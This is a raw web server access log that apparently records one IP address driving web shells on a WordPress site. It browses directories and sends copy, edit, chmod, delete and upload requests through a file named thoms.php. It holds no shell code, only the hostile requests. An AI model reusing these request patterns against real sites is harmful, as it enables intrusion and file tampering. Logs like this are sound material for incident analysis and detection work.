45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 18864 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&option=folder HTTP/1.1" 200 6498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2F HTTP/1.1" 200 7894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2Fhome%2F HTTP/1.1" 200 5836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&option=file HTTP/1.1" 200 6499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6569 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 28484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11038 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/cgi-bin/ HTTP/1.1" 200 692 "https://163.245.207.76:443/biotaiwan.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:43 -0400] "GET /biotaiwan.com.tw/.well-known/?ND= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /biotaiwan.com.tw/.well-known/?MA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /biotaiwan.com.tw/.well-known/?SA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?edit=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:44 -0400] "GET /thoms.php?edit=mah.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /biotaiwan.com.tw/widget-transformer/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /biotaiwan.com.tw/widget-transformer/index.php HTTP/1.1" 200 6509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Fprofile.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Fprofile.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
